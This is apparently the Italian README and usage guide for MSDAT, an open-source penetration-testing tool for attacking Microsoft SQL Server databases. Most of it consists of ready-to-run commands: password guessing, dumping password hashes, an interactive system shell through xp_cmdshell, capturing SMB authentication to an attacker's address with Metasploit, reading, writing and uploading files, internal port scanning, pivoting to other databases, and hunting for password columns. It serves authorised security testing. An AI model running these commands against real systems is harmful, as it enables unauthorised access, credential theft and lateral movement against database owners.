
MSDAT: Strumento di attacco ai database Microsoft SQL
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT (Microsoft SQL Database Attacking Tool) è uno strumento di penetration test open source che testa la sicurezza dei database Microsoft SQL da remoto.
Esempi di utilizzo di MSDAT:
Testato su database Microsoft SQL 2005, 2008, 2012, 2014, 2016 e 2019.
Grazie a MSDAT (Microsoft SQL Database Attacking Tool), puoi (elenco non esaustivo):
Alcune dipendenze devono essere installate per eseguire MSDAT.
In ubuntu:
sudo apt-get install freetds-dev
o scaricare freetds su http://www.freetds.org/
Installare le dipendenze Python:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
o
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
Aggiungere "use ntlmv2 = yes" nel file di configurazione freetds (es: /etc/freetds/freetds.conf o /usr/local/etc/freetds.conf).
Esempio:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
Di Quentin Hardy ([email protected])
argomenti posizionali:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Scegli un comando principale
all per eseguire tutti i moduli per sapere cosa è possibile fare
mssqlinfo per ottenere informazioni senza autenticazione
passwordguesser per conoscere credenziali valide
passwordstealer per ottenere password hashate
xpcmdshell per ottenere una shell
jobs per eseguire comandi di sistema
smbauthcapture per catturare un'autenticazione SMB
oleautomation per leggere/scrivere file ed eseguire comandi di sistema
bulkopen per leggere un file e scansionare porte
xpdirectory per elencare file/unità e creare directory
trustworthype per diventare sysadmin con il metodo del database trustwothy
userlikepwd per provare ogni nome utente MSSQL memorizzato nel DB come corrispondente password
search per cercare nei nomi delle colonne
cleaner pulire le tracce locali
argomenti opzionali:
-h, --help mostra questo messaggio di aiuto ed esci
--version mostra il numero di versione del programma ed esci
./msdat.py -h
./msdat.py all -h
Puoi sapere se un modulo specifico può essere utilizzato su un server MSSQL grazie all'opzione --test-module. Questa opzione è implementata in ogni modulo mdat.
Il modulo all ti permette di eseguire tutti i moduli (dipende dalle opzioni che hai acquistato).
python msdat.py all -s $SERVER
Se vuoi:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
In ogni modulo, puoi definire il charset da utilizzare con l'opzione --charset.
Per ottenere informazioni tecniche su un server MSSQL remoto senza essere autenticato:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
Questo modulo utilizza il protocollo TDS e SQL browser Server per ottenere informazioni.
Questo modulo ti permette di cercare credenziali valide:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
L'opzione --force-retry permette di testare più password per ogni utente senza chiedere conferma
Puoi specificare il tuo file account con l'opzione --accounts-file:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
Per scaricare le password hashate:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
Questo modulo è stato testato su SQL Server 2000, 2005, 2008 e 2014.
Per eseguire comandi di sistema grazie a xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
Questo comando precedente ti fornisce una shell interattiva sul server del database remoto.
Se xp_cmdshell non è abilitato, l'opzione --enable-xpcmdshell può essere utilizzata in questo modulo per attivarlo:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
L'opzione --enable-xpcmdshell abilita xp_cmdshell se non è abilitato (non abilitato per impostazione predefinita).
L'opzione --disable-xpcmdshell disabilita xp_cmdshell se è abilitato.
Grazie a questo modulo, puoi catturare un'autenticazione SMB:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
Per catturare l'autenticazione SMB, potrebbe essere utilizzato il modulo auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) di metasploit:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
Il comando capture di questo modulo cerca di catturare un'autenticazione SMB grazie alle procedure xp_dirtree, xp_fileexist o xp-getfiledetails.
Se vuoi scegliere la procedura di autenticazione SMB per catturare l'autenticazione:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
Puoi cambiare il nome SHARE con l'opzione --share-name.
Questo modulo può essere utilizzato per leggere/scrivere file nel server del database.
Il seguente comando legge il file temp.txt memorizzato nel server del database:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
Per scrivere una stringa in un file (temp.txt) in remoto:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
Questo modulo può essere utilizzato per scaricare un file (C:\Users\Administrator\Desktop\temp.txt) memorizzato sul server del database:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Inoltre, puoi utilizzare questo modulo per caricare un file (temp.txt) sul target:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt'
Il modulo bulkopen può essere utilizzato:
Per leggere un file memorizzato nel target, può essere utilizzato il seguente comando:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
L'opzione --method può essere utilizzata per specificare il metodo da utilizzare:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
Per scaricare un file (C:\Users\Administrator\Desktop\temp.txt):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Questo modulo può essere utilizzato per scansionare porte (1433 e 1434 di 127.0.0.1) attraverso il server del database:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
Puoi scansionare un intervallo di porte:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
Questo modulo può essere utilizzato per eseguire richieste SQL (es: select @@ServerName) su un server del database remoto (es: $SERVER2) attraverso il database ($SERVER):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
Il modulo xpdirectory può essere utilizzato:
Per elencare i file in una directory specifica:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
Per elencare le directory in una directory specifica:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
Per elencare le unità:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
Per verificare se un file esiste:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
Per creare una directory:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
Il modulo search può essere utilizzato per cercare un pattern nei nomi delle colonne di tabelle e viste. Utile per cercare il pattern %password% nei nomi delle colonne, ad esempio.
Per ottenere i nomi delle colonne che contengono pattern di password (es: passwd, password, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Se vuoi vedere i nomi delle colonne che non contengono dati, dovresti utilizzare l'opzione --show-empty-columns.
Per cercare un pattern specifico nei nomi delle colonne di viste e tabelle:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Se vuoi supportare il mio lavoro con una donazione, lo apprezzerei molto: